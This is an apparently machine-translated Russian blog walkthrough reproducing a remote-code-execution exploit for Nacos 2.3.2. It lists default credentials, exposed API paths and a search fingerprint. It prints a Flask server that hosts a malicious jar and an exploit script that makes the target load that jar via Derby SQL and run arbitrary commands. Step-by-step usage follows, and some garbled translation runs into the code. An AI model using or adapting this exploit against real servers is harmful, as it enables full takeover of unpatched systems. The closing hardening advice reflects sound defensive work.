Повторение уязвимости Nacos rce-0day (nacos 2.3.2)
Повторение уязвимости Nacos rce-0day (nacos 2.3.2)

Предисловие

Отказ от ответственности: Пожалуйста, не используйте соответствующие технологии, описанные в этой статье, для участия в незаконном тестировании. Любые прямые или косвенные последствия и убытки, вызванные распространением и использованием информации или инструментов, представленных в этой статье, будут нести ответственность за все. возникшие последствия Неблагоприятные последствия не имеют никакого отношения к автору статьи. Эта статья предназначена только для образовательных целей.

Знакомство с нако

NACOS — это платформа обнаружения, управления конфигурациями и услугами с открытым исходным кодом. Это продукт Alibaba с открытым исходным кодом.

Версия изображения: версия nacos2.3.2 или 2.4.0.

отпечаток пальца:fofa:app="NACOS"

Основная информация о тестировании Nacos

иллюстрировать

Имя учетной записи и пароль по умолчанию

nacos/nacos

Общие порты

8848

API информации о пользователе

/nacos/v1/auth/users?pageNo=1&pageSize=9

API информации о кластере

/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

API информации о конфигурации

dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=

Из официального вводного документа Github мы видим, что многие крупные отечественные компании используют эту систему, а из проблем мы также видим, что она имеет множество уязвимостей CVE и ее относительно сложно использовать.

Историческая уязвимость CVE системы Nacos

Язык кода:javascript
копировать
1、CVE-2021-29441 Обход аутентификации
2. Ключ по умолчанию QVD-2023-6271.
3、CNVD-2020-67618 SQL-инъекция
4. Десериализация CNVD-2023-45001

Построить Накос 2.3.2 среда

Адрес загрузки: https://github.com/alibaba/nacos/releases.

1. Разархивируйте файл nacos.

2. Создайте базу данных Nacos.

Выполните файл mysql-schema.sql.

3. Настройте источник данных nacos/conf/application.properties.

4. Настройте файл start.cmd.

5. Запустите Накос

Откройте cmd в каталоге bin.,входитьstartup.cmd -m standaloneзапускать

Посетите http://localhost:8848/nacos.

Анализ уязвимостей

Описание уязвимости

Уязвимость RCE (удаленное выполнение кода) относится к уязвимости безопасности, которая позволяет злоумышленнику выполнить произвольный код на удаленном сервере. Такие уязвимости часто позволяют злоумышленнику получить полный контроль над уязвимой системой, что приводит к серьезным проблемам с безопасностью.

Суть уязвимости заключается в том, что некоторые интерфейсы Nacos не имеют строгого контроля разрешений. Злоумышленник может отправлять вредоносные данные на сервер Nacos посредством специально созданных запросов на выполнение произвольного кода. Необходимость входа в серверную часть для использования уязвимости связана с ошибкой в ​​обработке десериализованных данных Nacos. Злоумышленник может удаленно выполнить вредоносный код через определенную структуру данных JSON. Эту уязвимость можно использовать для чтения конфиденциальных файлов и выполнения системных команд.

poc

Удалено на Github

Анализ кода ---service.py

Приложение Flask предоставляет простой сервис загрузки файлов. Когда пользователь обращается к маршруту /download, сервер возвращает декодированный двоичный файл. Этот файл изначально сохраняется в переменной полезной нагрузки в кодировке Base64. Информация о хосте и порте приложения считывается из модуля config.py.

Язык кода:javascript
копировать
#Определяем маршрут /download, вызывается, когда пользователь обращается к этому URL-адресу download_file Функция, запрашивающая загрузку интерфейса, вернет содержимое jar
@app.route('/download')   
def download_file():
Полезная нагрузка в кодировке #Base64 Декодируется в двоичные данные.
    data = base64.b64decode(payload)  
#Создайте объект ответа HTTP, содержащий декодированные данные, и Установите тип MIME на application/octet-stream (для двоичных файлов).
    response = Response(data, mimetype="application/octet-stream")
#Вы можете установить заголовок ответа, чтобы указать браузеру загрузить контент в виде вложения и указать имя файла (закомментировано здесь).
    # response.headers["Content-Disposition"] = "attachment; filename=file.bin"  
#Вернем объект ответа.
    return response

**Анализ кода ---exploit.py **

Exploit.py подключится к Nacos, а затем в параметры запроса к Nacos вводятся IP-адрес и порт подключения к service.py, а также инструкции, требующие RCE. После того, как запрос достигает nacos, уязвимость базы данных deby используется для злонамеренного запроса интерфейса сервиса service.py и загрузки содержимого jar-пакета. Затем введите команду RCE в пакет jar и запустите эту команду.

Язык кода:javascript
копировать
# Нажмите зеленую кнопку в области сшивания, чтобы запустить сценарий.
def exploit(target, command, service, args):
#Создаем URL-адрес, используемый для отправки запроса
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    print("Идет столкновение, пожалуйста, подождите терпеливо!!")
#loop----до успешного использования лазейки
    for i in range(0, sys.maxsize):
#id: создать случайную строку,для идентификацииSQL-инъекцияизpayload
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
#post_sql:СтроитьSQL-инъекцияизpayload,установить вредоносныйизJavaфункция
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id, service=service);
#option_sql: создавать операторы SQL и использовать вредоносную функцию для выполнения команд.
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id, cmd=command);
#get_sql: Создайте SQL-запрос, выполните команду и получите результаты.                                                                                 get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command);
        # get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
#requests.post: отправьте POST-запрос и загрузите вредоносный SQL.
#requests.get: отправьте запрос GET, выполните команду и получите результаты.
        post_resp = requests.post(url=removal_url, files=files, verify=False, headers=header, timeout=5)
        post_json = post_resp.json()
        if args.url:
            print(post_json)
        if (post_json['code'] == 404 or post_json['code'] == 403) and "File" not in post_json['message']:
            print(Fore.YELLOW + f"[-] {target} Nacos_Rcelaseyki может не существовать\n" + Fore.RESET)
            break
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql}, verify=False, headers=header,
                                    timeout=5)
            print(Fore.RED + f"\n[+] {target} Nacos_Rcelaseyki существует, выполните команду: {command}" + Fore.RESET)
            print(Fore.RED + f"[+] Возвращенные результаты следующие: {get_resp.text}" + Fore.RESET)
            break


if __name__ == '__main__':
#service: создайте URL-адрес для загрузки вредоносного файла Jar.
    service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port)
#target и command:отпользовательвходить Получить цельURLивыполнитьиз Заказ。
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('Пожалуйста, введите URL-адрес каталога, по умолчанию: http://127.0.0.1:8848:') or target
    command = input('Пожалуйста, введите команду, по умолчанию: Calc:') or command
#exploit:вызовлазейкииспользоватьфункция。    exploit(target=target, command=command, service=service)

Повторение уязвимости

Язык кода:javascript
копировать
первый шаг:Установить зависимостиrequestsиflask
Язык кода:javascript
копировать
Шаг 2:Конфигурацияconfig.pyсерединаизipипорт,Необходимо установить зависимости
Язык кода:javascript
копировать
Шаг 3. Запустите вредоносный сервер: python. server.py, сожмите указанный выше вредоносный класс через b64 и загрузите его на фаск-сервер в качестве ресурса сервера.
Язык кода:javascript
копировать
Шаг 4. Запустите файл эксплойта.py.,Введите команду для выполнения. Calc выполняется по умолчанию.

Рекомендации по усилению безопасности

  • Для тех, кто использует автономный режим,Сообщество Nacos рекомендует включить механизм аутентификации для повышения безопасности. Этого можно добиться, установив соответствующую Конфигурацию.,Убедитесь, что другие не смогут этим злоупотреблять.
  • Включите аутентификацию в файле application.properties. Прежде чем включить аутентификацию

После включения аутентификации

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose